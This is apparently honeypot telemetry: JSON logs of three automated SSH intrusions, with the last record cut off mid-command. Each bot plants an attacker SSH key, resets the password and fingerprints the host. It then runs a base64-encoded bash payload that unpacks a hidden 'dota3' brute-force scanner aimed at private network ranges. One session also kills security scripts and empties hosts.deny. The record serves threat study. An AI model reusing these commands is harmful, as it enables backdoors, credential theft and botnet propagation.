{"id":"bde62863-ed5a-4eff-8e47-810f31050852","name":"emerald-cheerful-otter","protocol":"ssh","channel_kind":"exec","src_ip":"34.175.118.185","src_port":60072,"username":"tata","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":750,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-23T05:42:25.785134+00:00","ended_at":"2026-08-23T05:42:26.045854+00:00","ended_reason":"exec complete","commands":27,"transcript_bytes":3482,"events":[{"seq":1,"at":"2026-08-23T05:41:46.044565+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-23T05:41:46.789679+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-23T05:41:52.284723+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-23T05:41:52.285033+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-23T05:41:53.038361+00:00","kind":"input","latency_ms":null,"data":"echo -e \"tata\\nacoVpJAVq1Dj\\nacoVpJAVq1Dj\"|passwd|bash"},{"seq":6,"at":"2026-08-23T05:41:53.790036+00:00","kind":"input","latency_ms":null,"data":"echo \"tata\\nacoVpJAVq1Dj\\nacoVpJAVq1Dj\\n\"|passwd"},{"seq":7,"at":"2026-08-23T05:41:54.540199+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-23T05:41:54.540862+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-23T05:41:55.291373+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-23T05:41:55.970523+00:00","kind":"output","latency_ms":677,"data":"15888 5421 812 12565 0 0"},{"seq":11,"at":"2026-08-23T05:41:56.528292+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-23T05:41:57.028828+00:00","kind":"output","latency_ms":498,"data":"lrwxrwxrwx 1 root root 7 Jan 12 2026 /usr/bin/ls -> /bin/ls"},{"seq":13,"at":"2026-08-23T05:41:57.792163+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-23T05:41:57.792714+00:00","kind":"output","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-23T05:41:58.540859+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-23T05:41:58.541400+00:00","kind":"output","latency_ms":null,"data":" 05:41:58 up 3 days, 2:32, 0 user, load average: 0.31, 0.32, 0.36\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-23T05:41:59.296525+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-23T05:41:59.297224+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-23T05:42:00.050049+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-23T05:42:00.050717+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-23T05:42:00.780718+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-23T05:42:00.781237+00:00","kind":"output","latency_ms":null,"data":"top - 05:42:00 up 3 days, 2:32, 0 user, load average: 0.31, 0.32, 0.36\nTasks: 110 total, 1 running, 109 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9691 free, 6196 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-23T05:42:01.531533+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-23T05:42:01.532215+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-23T05:42:02.280238+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-23T05:42:02.280703+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-23T05:42:03.031288+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-23T05:42:03.033748+00:00","kind":"output","latency_ms":null,"data":"tata"},{"seq":29,"at":"2026-08-23T05:42:03.779323+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-23T05:42:04.336805+00:00","kind":"output","latency_ms":556,"data":"Model name: AMD EPYC 7713 64-Core Processor\nModel: 1"},{"seq":31,"at":"2026-08-23T05:42:05.030563+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-23T05:42:05.661570+00:00","kind":"output","latency_ms":630,"data":"24G"},{"seq":33,"at":"2026-08-23T05:42:07.790992+00:00","kind":"input","latency_ms":null,"data":"echo \"tata tata\" > /tmp/up.txt"},{"seq":34,"at":"2026-08-23T05:42:08.530778+00:00","kind":"input","latency_ms":null,"data":"rm -rf /var/tmp/dota*"},{"seq":35,"at":"2026-08-23T05:42:09.135744+00:00","kind":"output","latency_ms":604,"data":""},{"seq":36,"at":"2026-08-23T05:42:11.279672+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":37,"at":"2026-08-23T05:42:11.778341+00:00","kind":"output","latency_ms":498,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":38,"at":"2026-08-23T05:42:12.544424+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":39,"at":"2026-08-23T05:42:13.199363+00:00","kind":"output","latency_ms":652,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":40,"at":"2026-08-23T05:42:13.794139+00:00","kind":"input","latency_ms":null,"data":"echo \"1\" > /var/tmp/.systemcache436621"},{"seq":41,"at":"2026-08-23T05:42:14.530474+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":42,"at":"2026-08-23T05:42:14.965819+00:00","kind":"output","latency_ms":434,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":43,"at":"2026-08-23T05:42:15.528359+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":44,"at":"2026-08-23T05:42:16.112121+00:00","kind":"output","latency_ms":582,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":45,"at":"2026-08-23T05:42:16.782030+00:00","kind":"input","latency_ms":null,"data":"sleep 15s && cd /var/tmp; echo \"IyEvYmluL2Jhc2gKY2QgL3RtcAkKcm0gLXJmIC5zc2gKcm0gLXJmIC5tb3VudGZzCnJtIC1yZiAuWDEzLXVuaXgKcm0gLXJmIC5YMTctdW5peApybSAtcmYgLlgxOS11bml4CnJtIC1yZiAuWDIqCm1rZGlyIC5YMjkxLXVuaXgKY2QgLlgyOTEtdW5peAptdiAvdmFyL3RtcC9kb3RhMy50YXIuZ3ogZG90YTMudGFyLmd6CnRhciB4ZiBkb3RhMy50YXIuZ3oKc2xlZXAgM3MgJiYgY2QgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jCm5vaHVwIC90bXAvLlgyOTEtdW5peC8ucnN5bmMvYy9rdGhyZWFkYWRkIC10IDE1MCAtUyA2IC1zIDYgLXAgMjIgLVAgMCAtZiAwIC1rIDEgLWwgMSAtaSAwIC90bXAvdXAudHh0IDE5Mi4xNjggPj4gL2Rldi9udWxsIDI+MSYKc2xlZXAgOG0gJiYgbm9odXAgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jL2t0aHJlYWRhZGQgLXQgMTUwIC1TIDYgLXMgNiAtcCAyMiAtUCAwIC1mIDAgLWsgMSAtbCAxIC1pIDAgL3RtcC91cC50eHQgMTcyLjE2ID4+IC9kZXYvbnVsbCAyPjEmCnNsZWVwIDIwbSAmJiBjZCAuLjsgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9pbml0YWxsIDI+MSYKZXhpdCAw\" | base64 --decode | bash"},{"seq":46,"at":"2026-08-23T05:42:17.158146+00:00","kind":"output","latency_ms":375,"data":""},{"seq":47,"at":"2026-08-23T05:42:25.786059+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":48,"at":"2026-08-23T05:42:25.786517+00:00","kind":"output","latency_ms":null,"data":"tata"}],"credentials":[{"username":"tata","password":"tata","method":"password","accepted":true,"tier":"other"}]} {"id":"d0bc5787-46a5-4e4a-8fcb-9ae66d4739cf","name":"earnest-rambling-ocelot","protocol":"ssh","channel_kind":"exec","src_ip":"20.102.98.53","src_port":49848,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":65,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-23T04:52:11.093291+00:00","ended_at":"2026-08-23T04:52:11.099503+00:00","ended_reason":"exec complete","commands":27,"transcript_bytes":3537,"events":[{"seq":1,"at":"2026-08-23T04:51:53.281595+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-23T04:51:53.344546+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-23T04:51:55.928605+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-23T04:51:55.929046+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-23T04:51:55.994070+00:00","kind":"input","latency_ms":null,"data":"echo \"root:Y8vWS58OUafM\"|chpasswd|bash"},{"seq":6,"at":"2026-08-23T04:51:56.057108+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-23T04:51:56.120827+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-23T04:51:56.121475+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-23T04:51:56.187062+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-23T04:51:56.885489+00:00","kind":"output","latency_ms":696,"data":"15988 512 11234 311 4341 1024"},{"seq":11,"at":"2026-08-23T04:51:56.949140+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-23T04:51:57.838490+00:00","kind":"output","latency_ms":888,"data":"-rwxr-xr-x 1 root root 148K Aug 23 04:51 /usr/bin/ls"},{"seq":13,"at":"2026-08-23T04:51:57.903659+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-23T04:51:57.904342+00:00","kind":"output","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-23T04:51:57.968722+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-23T04:51:57.969573+00:00","kind":"output","latency_ms":null,"data":" 04:51:57 up 3 days, 1:42, 0 user, load average: 0.16, 0.15, 0.1\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-23T04:51:58.033606+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-23T04:51:58.034250+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-23T04:51:58.098176+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-23T04:51:58.098880+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-23T04:51:58.163735+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-23T04:51:58.164361+00:00","kind":"output","latency_ms":null,"data":"top - 04:51:58 up 3 days, 1:42, 0 user, load average: 0.16, 0.15, 0.1\nTasks: 126 total, 1 running, 125 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 7308 free, 8579 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-23T04:51:58.229760+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-23T04:51:58.231306+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-23T04:51:58.296706+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-23T04:51:58.297358+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-23T04:51:58.357631+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-23T04:51:58.358493+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-23T04:51:58.422190+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-23T04:51:58.928454+00:00","kind":"output","latency_ms":505,"data":"Model name: AMD EPYC 7713 64-Core Processor\nModel: 1"},{"seq":31,"at":"2026-08-23T04:51:58.993221+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-23T04:51:59.417214+00:00","kind":"output","latency_ms":422,"data":"24G"},{"seq":33,"at":"2026-08-23T04:51:59.858887+00:00","kind":"input","latency_ms":null,"data":"echo \"root prueba123\" > /tmp/up.txt"},{"seq":34,"at":"2026-08-23T04:51:59.922546+00:00","kind":"input","latency_ms":null,"data":"rm -rf /var/tmp/dota*"},{"seq":35,"at":"2026-08-23T04:52:00.088877+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":36,"at":"2026-08-23T04:52:00.518504+00:00","kind":"output","latency_ms":594,"data":""},{"seq":37,"at":"2026-08-23T04:52:00.898770+00:00","kind":"output","latency_ms":809,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":38,"at":"2026-08-23T04:52:00.964569+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":39,"at":"2026-08-23T04:52:01.413605+00:00","kind":"output","latency_ms":448,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":40,"at":"2026-08-23T04:52:01.480945+00:00","kind":"input","latency_ms":null,"data":"echo \"1\" > /var/tmp/.systemcache436621"},{"seq":41,"at":"2026-08-23T04:52:01.544845+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":42,"at":"2026-08-23T04:52:02.263854+00:00","kind":"output","latency_ms":718,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":43,"at":"2026-08-23T04:52:02.328691+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":44,"at":"2026-08-23T04:52:02.814112+00:00","kind":"output","latency_ms":484,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":45,"at":"2026-08-23T04:52:02.879298+00:00","kind":"input","latency_ms":null,"data":"sleep 15s && cd /var/tmp; echo \"IyEvYmluL2Jhc2gKY2QgL3RtcAkKcm0gLXJmIC5zc2gKcm0gLXJmIC5tb3VudGZzCnJtIC1yZiAuWDEzLXVuaXgKcm0gLXJmIC5YMTctdW5peApybSAtcmYgLlgxOS11bml4CnJtIC1yZiAuWDIqCm1rZGlyIC5YMjkxLXVuaXgKY2QgLlgyOTEtdW5peAptdiAvdmFyL3RtcC9kb3RhMy50YXIuZ3ogZG90YTMudGFyLmd6CnRhciB4ZiBkb3RhMy50YXIuZ3oKc2xlZXAgM3MgJiYgY2QgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jCm5vaHVwIC90bXAvLlgyOTEtdW5peC8ucnN5bmMvYy9rdGhyZWFkYWRkIC10IDE1MCAtUyA2IC1zIDYgLXAgMjIgLVAgMCAtZiAwIC1rIDEgLWwgMSAtaSAwIC90bXAvdXAudHh0IDE5Mi4xNjggPj4gL2Rldi9udWxsIDI+MSYKc2xlZXAgOG0gJiYgbm9odXAgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jL2t0aHJlYWRhZGQgLXQgMTUwIC1TIDYgLXMgNiAtcCAyMiAtUCAwIC1mIDAgLWsgMSAtbCAxIC1pIDAgL3RtcC91cC50eHQgMTcyLjE2ID4+IC9kZXYvbnVsbCAyPjEmCnNsZWVwIDIwbSAmJiBjZCAuLjsgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9pbml0YWxsIDI+MSYKZXhpdCAw\" | base64 --decode | bash"},{"seq":46,"at":"2026-08-23T04:52:03.291614+00:00","kind":"output","latency_ms":411,"data":""},{"seq":47,"at":"2026-08-23T04:52:11.094619+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":48,"at":"2026-08-23T04:52:11.095058+00:00","kind":"output","latency_ms":null,"data":"root"}],"credentials":[{"username":"root","password":"prueba123","method":"password","accepted":true,"tier":"other"}]} {"id":"ef9be64f-5e8e-4a96-9bca-4e987a8034c4","name":"proud-watchful-stork","protocol":"ssh","channel_kind":"exec","src_ip":"159.223.97.218","src_port":34128,"username":"reporting","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":50,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-23T04:19:17.313792+00:00","ended_at":"2026-08-23T04:19:17.317810+00:00","ended_reason":"exec complete","commands":27,"transcript_bytes":3514,"events":[{"seq":1,"at":"2026-08-23T04:19:00.083209+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-23T04:19:00.149221+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-23T04:19:02.125781+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-23T04:19:02.126431+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-23T04:19:02.177137+00:00","kind":"input","latency_ms":null,"data":"echo -e \"reporting\\n7dv3208RQFEe\\n7dv3208RQFEe\"|passwd|bash"},{"seq":6,"at":"2026-08-23T04:19:02.224751+00:00","kind":"input","latency_ms":null,"data":"echo \"reporting\\n7dv3208RQFEe\\n7dv3208RQFEe\\n\"|passwd"},{"seq":7,"at":"2026-08-23T04:19:02.272479+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-23T04:19:02.273003+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-23T04:19:02.324959+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-23T04:19:03.099789+00:00","kind":"output","latency_ms":773,"data":"15888 3462 9586 152 3127 10652"},{"seq":11,"at":"2026-08-23T04:19:03.106869+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-23T04:19:03.837474+00:00","kind":"output","latency_ms":729,"data":"-rwxr-xr-x 1 root root 151K Jul 12 2026 /usr/bin/ls"},{"seq":13,"at":"2026-08-23T04:19:03.886281+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-23T04:19:03.886796+00:00","kind":"output","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-23T04:19:03.935371+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-23T04:19:03.935989+00:00","kind":"output","latency_ms":null,"data":" 04:19:03 up 3 days, 1:09, 0 user, load average: 0.06, 0.07, 0.05\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-23T04:19:03.985966+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-23T04:19:03.986527+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-23T04:19:04.035720+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-23T04:19:04.036277+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-23T04:19:04.085603+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-23T04:19:04.086341+00:00","kind":"output","latency_ms":null,"data":"top - 04:19:04 up 3 days, 1:09, 0 user, load average: 0.06, 0.07, 0.05\nTasks: 106 total, 1 running, 105 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8738 free, 7149 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-23T04:19:04.136073+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-23T04:19:04.137393+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-23T04:19:04.144930+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-23T04:19:04.145465+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-23T04:19:04.194572+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-23T04:19:04.195360+00:00","kind":"output","latency_ms":null,"data":"reporting"},{"seq":29,"at":"2026-08-23T04:19:04.244211+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-23T04:19:04.805295+00:00","kind":"output","latency_ms":560,"data":"Model name: AMD EPYC 7713 64-Core Processor\nModel: 1"},{"seq":31,"at":"2026-08-23T04:19:04.815419+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-23T04:19:05.399512+00:00","kind":"output","latency_ms":582,"data":"24G"},{"seq":33,"at":"2026-08-23T04:19:05.793945+00:00","kind":"input","latency_ms":null,"data":"echo \"reporting reporting\" > /tmp/up.txt"},{"seq":34,"at":"2026-08-23T04:19:05.800960+00:00","kind":"input","latency_ms":null,"data":"rm -rf /var/tmp/dota*"},{"seq":35,"at":"2026-08-23T04:19:05.911813+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":36,"at":"2026-08-23T04:19:06.302525+00:00","kind":"output","latency_ms":499,"data":""},{"seq":37,"at":"2026-08-23T04:19:06.433726+00:00","kind":"output","latency_ms":520,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":38,"at":"2026-08-23T04:19:06.442271+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":39,"at":"2026-08-23T04:19:06.989446+00:00","kind":"output","latency_ms":546,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":40,"at":"2026-08-23T04:19:06.997809+00:00","kind":"input","latency_ms":null,"data":"echo \"1\" > /var/tmp/.systemcache436621"},{"seq":41,"at":"2026-08-23T04:19:07.004879+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":42,"at":"2026-08-23T04:19:07.593373+00:00","kind":"output","latency_ms":587,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":43,"at":"2026-08-23T04:19:07.643088+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":44,"at":"2026-08-23T04:19:09.072174+00:00","kind":"output","latency_ms":1428,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":45,"at":"2026-08-23T04:19:09.126150+00:00","kind":"input","latency_ms":null,"data":"sleep 15s && cd /var/tmp; echo 